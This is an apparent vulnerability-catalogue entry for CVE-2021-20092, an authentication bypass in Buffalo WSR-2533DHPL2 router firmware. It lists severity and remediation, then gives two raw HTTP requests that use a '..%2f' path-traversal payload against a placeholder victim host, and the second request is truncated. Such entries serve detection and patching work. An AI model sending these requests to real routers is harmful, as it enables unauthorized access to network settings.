| Title | Buffalo WSR-2533DHPL2 - Improper Access Control |
|---|---|
| Author | gy741,pdteam,parth |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to gain unauthorized access to the router's configuration settings and potentially compromise the entire network. |
| Remediation | Apply the latest firmware update provided by Buffalo to fix the access control issue. |
| CVSS Score | 7.5 |
| EPSS Score | 0.68874 |
| CVE ID | CVE-2021-20092 |
| CWE ID | CWE-287 |
| Tags | cve2021 cve buffalo firmware iot tenable vkev vuln |
The web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 do not properly restrict access to sensitive information from an unauthorized actor.
GET /images/..%2finfo.html HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13) AppleWebKit/619.4 (KHTML, like Gecko) Version/16.1.13 Safari/619.4
Connection: close
Referer: http://www.victim.com/info.html
Accept-Encoding: gzip
GET /images/..%2fcgi/cgi_i_filter.js?_tn=\{\{trimprefix(base64_decode(httoken), HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie: lang=8; url=ping.html; mobile=false;
Referer: http://www.victim.com/info.html
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-20092.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-20092.pcap
N/AN/A